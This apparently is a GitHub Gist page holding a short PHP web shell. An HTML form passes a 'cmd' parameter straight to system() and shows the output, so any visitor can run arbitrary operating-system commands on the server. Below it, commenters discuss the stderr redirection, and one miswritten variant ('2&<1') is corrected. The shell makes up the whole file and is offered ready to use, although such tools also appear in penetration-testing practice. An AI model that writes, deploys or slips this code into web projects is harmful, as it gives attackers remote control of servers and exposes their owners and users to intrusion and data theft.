Last active
July 5, 2024 14:57
-
-
Save joswr1ght/22f40787de19d80d110b37fb79ac3985 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
<input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
<input type="SUBMIT" value="Execute"> | |
</form> | |
<pre> | |
<?php | |
if(isset($_GET['cmd'])) | |
{ | |
system($_GET['cmd'] . ' 2>&1'); | |
} | |
?> | |
</pre> | |
</body> | |
</html> |
better:
if(isset($_GET['cmd'])) { system($_GET['cmd'] . ' 2&<1'); }
Adding 2&<1 you can see the error output.
It's 2>&1
to redirect STDERR to STDOUT. Added, thanks!
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
TY